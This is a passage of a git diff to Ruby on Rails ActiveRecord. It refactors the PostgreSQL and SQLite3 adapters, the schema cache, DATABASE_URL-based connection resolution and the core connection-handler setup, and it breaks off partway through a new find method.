- # FEATURE_NOT_SUPPORTED. Check here for more details:
- # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
- begin
- code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
- rescue
- raise e
- end
- if FEATURE_NOT_SUPPORTED == code
- @statements.delete sql_key(sql)
- retry
- else
- raise e
- end
+ if oids
+ query += "WHERE t.oid::integer IN (%s)" % oids.join(", ")
+ end
+
+ initializer = OID::TypeMapInitializer.new(type_map)
+ records = execute(query, 'SCHEMA')
+ initializer.run(records)
+ end
+
+ FEATURE_NOT_SUPPORTED = "0A000" #:nodoc:
+
+ def execute_and_clear(sql, name, binds)
+ result = without_prepared_statement?(binds) ? exec_no_cache(sql, name, binds) :
+ exec_cache(sql, name, binds)
+ ret = yield result
+ result.clear
+ ret
+ end
+
+ def exec_no_cache(sql, name, binds)
+ log(sql, name, binds) { @connection.async_exec(sql, []) }
+ end
+
+ def exec_cache(sql, name, binds)
+ stmt_key = prepare_statement(sql)
+ type_casted_binds = binds.map { |col, val|
+ [col, type_cast(val, col)]
+ }
+
+ log(sql, name, type_casted_binds, stmt_key) do
+ @connection.exec_prepared(stmt_key, type_casted_binds.map { |_, val| val })
+ end
+ rescue ActiveRecord::StatementInvalid => e
+ pgerror = e.original_exception
+
+ # Get the PG code for the failure. Annoyingly, the code for
+ # prepared statements whose return value may have changed is
+ # FEATURE_NOT_SUPPORTED. Check here for more details:
+ # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
+ begin
+ code = pgerror.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
+ rescue
+ raise e
+ end
+ if FEATURE_NOT_SUPPORTED == code
+ @statements.delete sql_key(sql)
+ retry
+ else
+ raise e
end
end
@@ -670,17 +630,18 @@ module ActiveRecord
sql_key = sql_key(sql)
unless @statements.key? sql_key
nextkey = @statements.next_key
- @connection.prepare nextkey, sql
+ begin
+ @connection.prepare nextkey, sql
+ rescue => e
+ raise translate_exception_class(e, sql)
+ end
+ # Clear the queue
+ @connection.get_last_result
@statements[sql_key] = nextkey
end
@statements[sql_key]
end
- # The internal PostgreSQL identifier of the money data type.
- MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
- # The internal PostgreSQL identifier of the BYTEA data type.
- BYTEA_COLUMN_TYPE_OID = 17 #:nodoc:
-
# Connects to a PostgreSQL server and sets up the adapter depending on the
# connected server's characteristics.
def connect
@@ -689,9 +650,15 @@ module ActiveRecord
# Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of
# PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision
# should know about this but can't detect it there, so deal with it here.
- PostgreSQLColumn.money_precision = (postgresql_version >= 80300) ? 19 : 10
+ OID::Money.precision = (postgresql_version >= 80300) ? 19 : 10
configure_connection
+ rescue ::PG::Error => error
+ if error.message.include?("does not exist")
+ raise ActiveRecord::NoDatabaseError.new(error.message, error)
+ else
+ raise
+ end
end
# Configures the encoding, verbosity, schema search path, and time zone of the connection.
@@ -721,9 +688,9 @@ module ActiveRecord
variables.map do |k, v|
if v == ':default' || v == :default
# Sets the value to the global or compile default
- execute("SET SESSION #{k.to_s} TO DEFAULT", 'SCHEMA')
+ execute("SET SESSION #{k} TO DEFAULT", 'SCHEMA')
elsif !v.nil?
- execute("SET SESSION #{k.to_s} TO #{quote(v)}", 'SCHEMA')
+ execute("SET SESSION #{k} TO #{quote(v)}", 'SCHEMA')
end
end
end
@@ -741,20 +708,6 @@ module ActiveRecord
exec_query("SELECT currval('#{sequence_name}')", 'SQL')
end
- # Executes a SELECT query and returns the results, performing any data type
- # conversions that are required to be performed here instead of in PostgreSQLColumn.
- def select(sql, name = nil, binds = [])
- exec_query(sql, name, binds)
- end
-
- def select_raw(sql, name = nil)
- res = execute(sql, name)
- results = result_as_array(res)
- fields = res.fields
- res.clear
- return fields, results
- end
-
# Returns the list of a table's column names, data types, and default values.
#
# The underlying query is roughly:
@@ -773,7 +726,7 @@ module ActiveRecord
# Query implementation notes:
# - format_type includes the column size constraint, e.g. varchar(50)
# - ::regclass is a function that gives the id for a table name
- def column_definitions(table_name) #:nodoc:
+ def column_definitions(table_name) # :nodoc:
exec_query(<<-end_sql, 'SCHEMA').rows
SELECT a.attname, format_type(a.atttypid, a.atttypmod),
pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod
@@ -785,23 +738,13 @@ module ActiveRecord
end_sql
end
- def extract_pg_identifier_from_name(name)
- match_data = name.start_with?('"') ? name.match(/\"([^\"]+)\"/) : name.match(/([^\.]+)/)
-
- if match_data
- rest = name[match_data[0].length, name.length]
- rest = rest[1, rest.length] if rest.start_with? "."
- [match_data[1], (rest.length > 0 ? rest : nil)]
- end
- end
-
- def extract_table_ref_from_insert_sql(sql)
- sql[/into\s+([^\(]*).*values\s*\(/i]
+ def extract_table_ref_from_insert_sql(sql) # :nodoc:
+ sql[/into\s+([^\(]*).*values\s*\(/im]
$1.strip if $1
end
- def table_definition
- TableDefinition.new(self)
+ def create_table_definition(name, temporary, options, as = nil) # :nodoc:
+ PostgreSQL::TableDefinition.new native_database_types, name, temporary, options, as
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
index 5839d1d3b4..37ff4e4613 100644
--- a/activerecord/lib/active_record/connection_adapters/schema_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -1,7 +1,7 @@
module ActiveRecord
module ConnectionAdapters
class SchemaCache
- attr_reader :primary_keys, :tables, :version
+ attr_reader :version
attr_accessor :connection
def initialize(conn)
@@ -11,11 +11,15 @@ module ActiveRecord
@columns_hash = {}
@primary_keys = {}
@tables = {}
- prepare_default_proc
+ end
+
+ def primary_keys(table_name)
+ @primary_keys[table_name] ||= table_exists?(table_name) ? connection.primary_key(table_name) : nil
end
# A cached lookup for table existence.
def table_exists?(name)
+ prepare_tables if @tables.empty?
return @tables[name] if @tables.key? name
@tables[name] = connection.table_exists?(name)
@@ -24,29 +28,27 @@ module ActiveRecord
# Add internal cache for table with +table_name+.
def add(table_name)
if table_exists?(table_name)
- @primary_keys[table_name]
- @columns[table_name]
- @columns_hash[table_name]
+ primary_keys(table_name)
+ columns(table_name)
+ columns_hash(table_name)
end
end
+ def tables(name)
+ @tables[name]
+ end
+
# Get the columns for a table
- def columns(table = nil)
- if table
- @columns[table]
- else
- @columns
- end
+ def columns(table_name)
+ @columns[table_name] ||= connection.columns(table_name)
end
# Get the columns for a table as a hash, key is the column name
# value is the column object.
- def columns_hash(table = nil)
- if table
- @columns_hash[table]
- else
- @columns_hash
- end
+ def columns_hash(table_name)
+ @columns_hash[table_name] ||= Hash[columns(table_name).map { |col|
+ [col.name, col]
+ }]
end
# Clears out internal caches
@@ -58,6 +60,10 @@ module ActiveRecord
@version = nil
end
+ def size
+ [@columns, @columns_hash, @primary_keys, @tables].map(&:size).inject :+
+ end
+
# Clear out internal caches for table with +table_name+.
def clear_table_cache!(table_name)
@columns.delete table_name
@@ -69,33 +75,18 @@ module ActiveRecord
def marshal_dump
# if we get current version during initialization, it happens stack over flow.
@version = ActiveRecord::Migrator.current_version
- [@version] + [:@columns, :@columns_hash, :@primary_keys, :@tables].map do |val|
- self.instance_variable_get(val).inject({}) { |h, v| h[v[0]] = v[1]; h }
- end
+ [@version, @columns, @columns_hash, @primary_keys, @tables]
end
def marshal_load(array)
@version, @columns, @columns_hash, @primary_keys, @tables = array
- prepare_default_proc
end
private
- def prepare_default_proc
- @columns.default_proc = Proc.new do |h, table_name|
- h[table_name] = connection.columns(table_name)
- end
-
- @columns_hash.default_proc = Proc.new do |h, table_name|
- h[table_name] = Hash[columns[table_name].map { |col|
- [col.name, col]
- }]
+ def prepare_tables
+ connection.tables.each { |table| @tables[table] = true }
end
-
- @primary_keys.default_proc = Proc.new do |h, table_name|
- h[table_name] = table_exists?(table_name) ? connection.primary_key(table_name) : nil
- end
- end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index b89e9a01a8..c3865a8fdd 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -6,40 +6,56 @@ gem 'sqlite3', '~> 1.3.6'
require 'sqlite3'
module ActiveRecord
- module ConnectionHandling
+ module ConnectionHandling # :nodoc:
# sqlite3 adapter reuses sqlite_connection.
- def sqlite3_connection(config) # :nodoc:
+ def sqlite3_connection(config)
# Require database.
unless config[:database]
raise ArgumentError, "No database file specified. Missing argument: database"
end
- # Allow database path relative to Rails.root, but only if
- # the database path is not the special path that tells
- # Sqlite to build a database only in memory.
- if defined?(Rails.root) && ':memory:' != config[:database]
- config[:database] = File.expand_path(config[:database], Rails.root)
+ # Allow database path relative to Rails.root, but only if the database
+ # path is not the special path that tells sqlite to build a database only
+ # in memory.
+ if ':memory:' != config[:database]
+ config[:database] = File.expand_path(config[:database], Rails.root) if defined?(Rails.root)
+ dirname = File.dirname(config[:database])
+ Dir.mkdir(dirname) unless File.directory?(dirname)
end
db = SQLite3::Database.new(
- config[:database],
+ config[:database].to_s,
:results_as_hash => true
)
- db.busy_timeout(config[:timeout]) if config[:timeout]
+ db.busy_timeout(ConnectionAdapters::SQLite3Adapter.type_cast_config_to_integer(config[:timeout])) if config[:timeout]
- ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
+ ConnectionAdapters::SQLite3Adapter.new(db, logger, nil, config)
+ rescue Errno::ENOENT => error
+ if error.message.include?("No such file or directory")
+ raise ActiveRecord::NoDatabaseError.new(error.message, error)
+ else
+ raise
+ end
end
end
module ConnectionAdapters #:nodoc:
- class SQLite3Column < Column #:nodoc:
- class << self
- def binary_to_string(value)
- if value.encoding != Encoding::ASCII_8BIT
- value = value.force_encoding(Encoding::ASCII_8BIT)
- end
- value
+ class SQLite3Binary < Type::Binary # :nodoc:
+ def cast_value(value)
+ if value.encoding != Encoding::ASCII_8BIT
+ value = value.force_encoding(Encoding::ASCII_8BIT)
+ end
+ value
+ end
+ end
+
+ class SQLite3String < Type::String # :nodoc:
+ def type_cast_for_database(value)
+ if value.is_a?(::String) && value.encoding == Encoding::ASCII_8BIT
+ value.encode(Encoding::UTF_8)
+ else
+ super
end
end
end
@@ -51,15 +67,32 @@ module ActiveRecord
#
# * <tt>:database</tt> - Path to the database file.
class SQLite3Adapter < AbstractAdapter
+ ADAPTER_NAME = 'SQLite'.freeze
+ include Savepoints
+
+ NATIVE_DATABASE_TYPES = {
+ primary_key: 'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL',
+ string: { name: "varchar" },
+ text: { name: "text" },
+ integer: { name: "integer" },
+ float: { name: "float" },
+ decimal: { name: "decimal" },
+ datetime: { name: "datetime" },
+ time: { name: "time" },
+ date: { name: "date" },
+ binary: { name: "blob" },
+ boolean: { name: "boolean" }
+ }
+
class Version
include Comparable
def initialize(version_string)
- @version = version_string.split('.').map { |v| v.to_i }
+ @version = version_string.split('.').map(&:to_i)
end
def <=>(version_string)
- @version <=> version_string.split('.').map { |v| v.to_i }
+ @version <=> version_string.split('.').map(&:to_i)
end
end
@@ -82,7 +115,7 @@ module ActiveRecord
end
def clear
- cache.values.each do |hash|
+ cache.each_value do |hash|
dealloc hash[:stmt]
end
cache.clear
@@ -98,37 +131,33 @@ module ActiveRecord
end
end
- class BindSubstitution < Arel::Visitors::SQLite # :nodoc:
- include Arel::Visitors::BindVisitor
- end
-
- def initialize(connection, logger, config)
+ def initialize(connection, logger, connection_options, config)
super(connection, logger)
@active = nil
@statements = StatementPool.new(@connection,
- config.fetch(:statement_limit) { 1000 })
+ self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 }))
@config = config
- if config.fetch(:prepared_statements) { true }
- @visitor = Arel::Visitors::SQLite.new self
+ @visitor = Arel::Visitors::SQLite.new self
+
+ if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
+ @prepared_statements = true
else
- @visitor = BindSubstitution.new self
+ @prepared_statements = false
end
end
- def adapter_name #:nodoc:
- 'SQLite'
- end
-
- # Returns true
def supports_ddl_transactions?
true
end
- # Returns true if SQLite version is '3.6.8' or greater, false otherwise.
def supports_savepoints?
- sqlite_version >= '3.6.8'
+ true
+ end
+
+ def supports_partial_index?
+ sqlite_version >= '3.8.0'
end
# Returns true, since this connection adapter supports prepared statement
@@ -142,7 +171,6 @@ module ActiveRecord
true
end
- # Returns true.
def supports_primary_key? #:nodoc:
true
end
@@ -151,8 +179,7 @@ module ActiveRecord
true
end
- # Returns true
- def supports_add_column?
+ def supports_views?
true
end
@@ -173,35 +200,19 @@ module ActiveRecord
@statements.clear
end
- # Returns true
- def supports_count_distinct? #:nodoc:
- true
- end
-
- # Returns true
- def supports_autoincrement? #:nodoc:
+ def supports_index_sort_order?
true
end
- def supports_index_sort_order?
- true
+ # Returns 62. SQLite supports index names up to 64
+ # characters. The rest is used by rails internally to perform
+ # temporary rename operations
+ def allowed_index_name_length
+ index_name_length - 2
end
def native_database_types #:nodoc:
- {
- :primary_key => default_primary_key_type,
- :string => { :name => "varchar", :limit => 255 },
- :text => { :name => "text" },
- :integer => { :name => "integer" },
- :float => { :name => "float" },
- :decimal => { :name => "decimal" },
- :datetime => { :name => "datetime" },
- :timestamp => { :name => "datetime" },
- :time => { :name => "time" },
- :date => { :name => "date" },
- :binary => { :name => "blob" },
- :boolean => { :name => "boolean" }
- }
+ NATIVE_DATABASE_TYPES
end
# Returns the current database encoding format as a string, eg: 'UTF-8'
@@ -209,17 +220,25 @@ module ActiveRecord
@connection.encoding.to_s
end
- # Returns true.
def supports_explain?
true
end
# QUOTING ==================================================
- def quote(value, column = nil)
- if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
- s = column.class.string_to_binary(value).unpack("H*")[0]
- "x'#{s}'"
+ def _quote(value) # :nodoc:
+ case value
+ when Type::Binary::Data
+ "x'#{value.hex}'"
+ else
+ super
+ end
+ end
+
+ def _type_cast(value) # :nodoc:
+ case value
+ when BigDecimal
+ value.to_f
else
super
end
@@ -229,6 +248,10 @@ module ActiveRecord
@connection.class.quote(s)
end
+ def quote_table_name_for_assignment(table, attr)
+ quote_column_name(attr)
+ end
+
def quote_column_name(name) #:nodoc:
%Q("#{name.to_s.gsub('"', '""')}")
end
@@ -243,24 +266,13 @@ module ActiveRecord
end
end
- def type_cast(value, column) # :nodoc:
- return value.to_f if BigDecimal === value
- return super unless String === value
- return super unless column && value
-
- value = super
- if column.type == :string && value.encoding == Encoding::ASCII_8BIT
- logger.error "Binary data inserted for `string` type on column `#{column.name}`" if logger
- value = value.encode Encoding::UTF_8
- end
- value
- end
-
+ #--
# DATABASE STATEMENTS ======================================
+ #++
def explain(arel, binds = [])
sql = "EXPLAIN QUERY PLAN #{to_sql(arel, binds)}"
- ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
+ ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', []))
end
class ExplainPrettyPrinter
@@ -278,14 +290,20 @@ module ActiveRecord
end
def exec_query(sql, name = nil, binds = [])
- log(sql, name, binds) do
+ type_casted_binds = binds.map { |col, val|
+ [col, type_cast(val, col)]
+ }
- # Don't cache statements without bind values
- if binds.empty?
+ log(sql, name, type_casted_binds) do
+ # Don't cache statements if they are not prepared
+ if without_prepared_statement?(binds)
stmt = @connection.prepare(sql)
- cols = stmt.columns
- records = stmt.to_a
- stmt.close
+ begin
+ cols = stmt.columns
+ records = stmt.to_a
+ ensure
+ stmt.close
+ end
stmt = records
else
cache = @statements[sql] ||= {
@@ -294,9 +312,7 @@ module ActiveRecord
stmt = cache[:stmt]
cols = cache[:cols] ||= stmt.columns
stmt.reset!
- stmt.bind_params binds.map { |col, val|
- type_cast(val, col)
- }
+ stmt.bind_params type_casted_binds.map { |_, val| val }
end
ActiveRecord::Result.new(cols, stmt.to_a)
@@ -333,20 +349,8 @@ module ActiveRecord
end
alias :create :insert_sql
- def select_rows(sql, name = nil)
- exec_query(sql, name).rows
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ def select_rows(sql, name = nil, binds = [])
+ exec_query(sql, name, binds).rows
end
def begin_db_transaction #:nodoc:
@@ -367,7 +371,7 @@ module ActiveRecord
sql = <<-SQL
SELECT name
FROM sqlite_master
- WHERE type = 'table' AND NOT name = 'sqlite_sequence'
+ WHERE (type = 'table' OR type = 'view') AND NOT name = 'sqlite_sequence'
SQL
sql << " AND name = #{quote_table_name(table_name)}" if table_name
@@ -380,7 +384,7 @@ module ActiveRecord
table_name && tables(nil, table_name).any?
end
- # Returns an array of +SQLite3Column+ objects for the table specified by +table_name+.
+ # Returns an array of +Column+ objects for the table specified by +table_name+.
def columns(table_name) #:nodoc:
table_structure(table_name).map do |field|
case field["dflt_value"]
@@ -392,20 +396,34 @@ module ActiveRecord
field["dflt_value"] = $1.gsub('""', '"')
end
- SQLite3Column.new(field['name'], field['dflt_value'], field['type'], field['notnull'].to_i == 0)
+ sql_type = field['type']
+ cast_type = lookup_cast_type(sql_type)
+ new_column(field['name'], field['dflt_value'], cast_type, sql_type, field['notnull'].to_i == 0)
end
end
# Returns an array of indexes for the given table.
def indexes(table_name, name = nil) #:nodoc:
exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", 'SCHEMA').map do |row|
+ sql = <<-SQL
+ SELECT sql
+ FROM sqlite_master
+ WHERE name=#{quote(row['name'])} AND type='index'
+ UNION ALL
+ SELECT sql
+ FROM sqlite_temp_master
+ WHERE name=#{quote(row['name'])} AND type='index'
+ SQL
+ index_sql = exec_query(sql).first['sql']
+ match = /\sWHERE\s+(.+)$/i.match(index_sql)
+ where = match[1] if match
IndexDefinition.new(
table_name,
row['name'],
row['unique'] != 0,
exec_query("PRAGMA index_info('#{row['name']}')", "SCHEMA").map { |col|
col['name']
- })
+ }, nil, nil, where)
end
end
@@ -424,18 +442,19 @@ module ActiveRecord
#
# Example:
# rename_table('octopuses', 'octopi')
- def rename_table(name, new_name)
- exec_query "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
+ def rename_table(table_name, new_name)
+ exec_query "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
+ rename_table_indexes(table_name, new_name)
end
# See: http://www.sqlite.org/lang_altertable.html
# SQLite has an additional restriction on the ALTER TABLE statement
- def valid_alter_table_options( type, options)
+ def valid_alter_table_type?(type)
type.to_sym != :primary_key
end
def add_column(table_name, column_name, type, options = {}) #:nodoc:
- if supports_add_column? && valid_alter_table_options( type, options )
+ if valid_alter_table_type?(type)
super(table_name, column_name, type, options)
else
alter_table(table_name) do |definition|
@@ -444,15 +463,11 @@ module ActiveRecord
end
end
- def remove_column(table_name, *column_names) #:nodoc:
- raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.empty?
- column_names.each do |column_name|
- alter_table(table_name) do |definition|
- definition.columns.delete(definition[column_name])
- end
+ def remove_column(table_name, column_name, type = nil, options = {}) #:nodoc:
+ alter_table(table_name) do |definition|
+ definition.remove_column column_name
end
end
- alias :remove_columns :remove_column
def change_column_default(table_name, column_name, default) #:nodoc:
alter_table(table_name) do |definition|
@@ -484,15 +499,17 @@ module ActiveRecord
end
def rename_column(table_name, column_name, new_column_name) #:nodoc:
- unless columns(table_name).detect{|c| c.name == column_name.to_s }
- raise ActiveRecord::ActiveRecordError, "Missing column #{table_name}.#{column_name}"
- end
- alter_table(table_name, :rename => {column_name.to_s => new_column_name.to_s})
+ column = column_for(table_name, column_name)
+ alter_table(table_name, rename: {column.name => new_column_name.to_s})
+ rename_column_indexes(table_name, column.name, new_column_name)
end
protected
- def select(sql, name = nil, binds = []) #:nodoc:
- exec_query(sql, name, binds)
+
+ def initialize_type_map(m)
+ super
+ m.register_type(/binary/i, SQLite3Binary.new)
+ register_class_with_limit m, %r(char)i, SQLite3String
end
def table_structure(table_name)
@@ -502,7 +519,7 @@ module ActiveRecord
end
def alter_table(table_name, options = {}) #:nodoc:
- altered_table_name = "altered_#{table_name}"
+ altered_table_name = "a#{table_name}"
caller = lambda {|definition| yield definition if block_given?}
transaction do
@@ -537,30 +554,29 @@ module ActiveRecord
end
yield @definition if block_given?
end
-
copy_table_indexes(from, to, options[:rename] || {})
copy_table_contents(from, to,
- @definition.columns.map {|column| column.name},
+ @definition.columns.map(&:name),
options[:rename] || {})
end
def copy_table_indexes(from, to, rename = {}) #:nodoc:
indexes(from).each do |index|
name = index.name
- if to == "altered_#{from}"
- name = "temp_#{name}"
- elsif from == "altered_#{to}"
- name = name[5..-1]
+ if to == "a#{from}"
+ name = "t#{name}"
+ elsif from == "a#{to}"
+ name = name[1..-1]
end
- to_column_names = columns(to).map { |c| c.name }
+ to_column_names = columns(to).map(&:name)
columns = index.columns.map {|c| rename[c] || c }.select do |column|
to_column_names.include?(column)
end
unless columns.empty?
# index name can't be the same
- opts = { :name => name.gsub(/_(#{from})_/, "_#{to}_") }
+ opts = { name: name.gsub(/(^|_)(#{from})_/, "\\1#{to}_"), internal: true }
opts[:unique] = true if index.unique
add_index(to, columns, opts)
end
@@ -570,14 +586,22 @@ module ActiveRecord
def copy_table_contents(from, to, columns, rename = {}) #:nodoc:
column_mappings = Hash[columns.map {|name| [name, name]}]
rename.each { |a| column_mappings[a.last] = a.first }
- from_columns = columns(from).collect {|col| col.name}
+ from_columns = columns(from).collect(&:name)
columns = columns.find_all{|col| from_columns.include?(column_mappings[col])}
quoted_columns = columns.map { |col| quote_column_name(col) } * ','
quoted_to = quote_table_name(to)
+
+ raw_column_mappings = Hash[columns(from).map { |c| [c.name, c] }]
+
exec_query("SELECT * FROM #{quote_table_name(from)}").each do |row|
sql = "INSERT INTO #{quoted_to} (#{quoted_columns}) VALUES ("
- sql << columns.map {|col| quote row[column_mappings[col]]} * ', '
+
+ column_values = columns.map do |col|
+ quote(row[column_mappings[col]], raw_column_mappings[col])
+ end
+
+ sql << column_values * ', '
sql << ')'
exec_query sql
end
@@ -587,23 +611,18 @@ module ActiveRecord
@sqlite_version ||= SQLite3Adapter::Version.new(select_value('select sqlite_version(*)'))
end
- def default_primary_key_type
- if supports_autoincrement?
- 'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'
- else
- 'INTEGER PRIMARY KEY NOT NULL'
- end
- end
-
def translate_exception(exception, message)
case exception.message
- when /column(s)? .* (is|are) not unique/
+ # SQLite 3.8.2 returns a newly formatted error message:
+ # UNIQUE constraint failed: *table_name*.*column_name*
+ # Older versions of SQLite return:
+ # column *column_name* is not unique
+ when /column(s)? .* (is|are) not unique/, /UNIQUE constraint failed: .*/
RecordNotUnique.new(message, exception)
else
super
end
end
-
end
end
end
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
index d6d998c7be..8f51590c99 100644
--- a/activerecord/lib/active_record/connection_handling.rb
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -1,5 +1,8 @@
module ActiveRecord
module ConnectionHandling
+ RAILS_ENV = -> { (Rails.env if defined?(Rails)) || ENV["RAILS_ENV"] || ENV["RACK_ENV"] }
+ DEFAULT_ENV = -> { RAILS_ENV.call || "default_env" }
+
# Establishes the connection to the database. Accepts a hash as input where
# the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
# example for regular databases (MySQL, Postgresql, etc):
@@ -15,15 +18,15 @@ module ActiveRecord
# Example for SQLite database:
#
# ActiveRecord::Base.establish_connection(
- # adapter: "sqlite",
- # database: "path/to/dbfile"
+ # adapter: "sqlite3",
+ # database: "path/to/dbfile"
# )
#
# Also accepts keys as strings (for parsing from YAML for example):
#
# ActiveRecord::Base.establish_connection(
- # "adapter" => "sqlite",
- # "database" => "path/to/dbfile"
+ # "adapter" => "sqlite3",
+ # "database" => "path/to/dbfile"
# )
#
# Or a URL:
@@ -32,11 +35,19 @@ module ActiveRecord
# "postgres://myuser:mypass@localhost/somedatabase"
# )
#
+ # In case <tt>ActiveRecord::Base.configurations</tt> is set (Rails
+ # automatically loads the contents of config/database.yml into it),
+ # a symbol can also be given as argument, representing a key in the
+ # configuration hash:
+ #
+ # ActiveRecord::Base.establish_connection(:production)
+ #
# The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
# may be returned on an error.
- def establish_connection(spec = ENV["DATABASE_URL"])
- resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new spec, configurations
- spec = resolver.spec
+ def establish_connection(spec = nil)
+ spec ||= DEFAULT_ENV.call.to_sym
+ resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new configurations
+ spec = resolver.spec(spec)
unless respond_to?(spec.adapter_method)
raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
@@ -46,6 +57,29 @@ module ActiveRecord
connection_handler.establish_connection self, spec
end
+ class MergeAndResolveDefaultUrlConfig # :nodoc:
+ def initialize(raw_configurations)
+ @raw_config = raw_configurations.dup
+ @env = DEFAULT_ENV.call.to_s
+ end
+
+ # Returns fully resolved connection hashes.
+ # Merges connection information from `ENV['DATABASE_URL']` if available.
+ def resolve
+ ConnectionAdapters::ConnectionSpecification::Resolver.new(config).resolve_all
+ end
+
+ private
+ def config
+ @raw_config.dup.tap do |cfg|
+ if url = ENV['DATABASE_URL']
+ cfg[@env] ||= {}
+ cfg[@env]["url"] ||= url
+ end
+ end
+ end
+ end
+
# Returns the connection currently associated with the class. This can
# also be used to "borrow" the connection to do database work unrelated
# to any of the specific Active Records.
@@ -54,11 +88,11 @@ module ActiveRecord
end
def connection_id
- Thread.current['ActiveRecord::Base.connection_id']
+ ActiveRecord::RuntimeRegistry.connection_id
end
def connection_id=(connection_id)
- Thread.current['ActiveRecord::Base.connection_id'] = connection_id
+ ActiveRecord::RuntimeRegistry.connection_id = connection_id
end
# Returns the configuration of the associated connection as a hash:
@@ -79,7 +113,7 @@ module ActiveRecord
connection_handler.retrieve_connection(self)
end
- # Returns true if Active Record is connected.
+ # Returns +true+ if Active Record is connected.
def connected?
connection_handler.connected?(self)
end
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
index 94c6684700..c2d5582f02 100644
--- a/activerecord/lib/active_record/core.rb
+++ b/activerecord/lib/active_record/core.rb
@@ -1,6 +1,7 @@
+require 'thread'
require 'active_support/core_ext/hash/indifferent_access'
require 'active_support/core_ext/object/duplicable'
-require 'thread'
+require 'active_support/core_ext/string/filters'
module ActiveRecord
module Core
@@ -16,7 +17,6 @@ module ActiveRecord
mattr_accessor :logger, instance_writer: false
##
- # :singleton-method:
# Contains the database configuration - as is typically stored in config/database.yml -
# as a Hash.
#
@@ -42,9 +42,16 @@ module ActiveRecord
# 'database' => 'db/production.sqlite3'
# }
# }
- mattr_accessor :configurations, instance_writer: false
+ def self.configurations=(config)
+ @@configurations = ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+ end
self.configurations = {}
+ # Returns fully resolved configurations hash
+ def self.configurations
+ @@configurations
+ end
+
##
# :singleton-method:
# Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
@@ -69,32 +76,132 @@ module ActiveRecord
mattr_accessor :timestamped_migrations, instance_writer: false
self.timestamped_migrations = true
- class_attribute :connection_handler, instance_writer: false
- self.connection_handler = ConnectionAdapters::ConnectionHandler.new
+ ##
+ # :singleton-method:
+ # Specify whether schema dump should happen at the end of the
+ # db:migrate rake task. This is true by default, which is useful for the
+ # development environment. This should ideally be false in the production
+ # environment where dumping schema is rarely needed.
+ mattr_accessor :dump_schema_after_migration, instance_writer: false
+ self.dump_schema_after_migration = true
+
+ mattr_accessor :maintain_test_schema, instance_accessor: false
+
+ def self.disable_implicit_join_references=(value)
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Implicit join references were removed with Rails 4.1.
+ Make sure to remove this configuration because it does nothing.
+ MSG
+ end
+
+ class_attribute :default_connection_handler, instance_writer: false
+ class_attribute :find_by_statement_cache
+
+ def self.connection_handler
+ ActiveRecord::RuntimeRegistry.connection_handler || default_connection_handler
+ end
+
+ def self.connection_handler=(handler)
+ ActiveRecord::RuntimeRegistry.connection_handler = handler
+ end
+
+ self.default_connection_handler = ConnectionAdapters::ConnectionHandler.new
end
module ClassMethods
- def inherited(child_class) #:nodoc:
- child_class.initialize_generated_modules
+ def allocate
+ define_attribute_methods
super
end
- def initialize_generated_modules
- @attribute_methods_mutex = Mutex.new
+ def initialize_find_by_cache
+ self.find_by_statement_cache = {}.extend(Mutex_m)
+ end
- # force attribute methods to be higher in inheritance hierarchy than other generated methods
- generated_attribute_methods.const_set(:AttrNames, Module.new {
- def self.const_missing(name)
- const_set(name, [name.to_s.sub(/ATTR_/, '')].pack('h*').freeze)
- end
- })
+ def inherited(child_class)
+ child_class.initialize_find_by_cache
+ super
+ end
+
+ def find(*ids)
+ # We don't have cache keys for this stuff yet
+ return super unless ids.length == 1
+ # Allow symbols to super to maintain compatibility for deprecated finders until Rails 5
+ return super if ids.first.kind_of?(Symbol)
+ return super if block_given? ||
+ primary_key.nil? ||
+ default_scopes.any? ||
+ columns_hash.include?(inheritance_column) ||
+ ids.first.kind_of?(Array)
+
+ id = ids.first
+ if ActiveRecord::Base === id
+ id = id.id
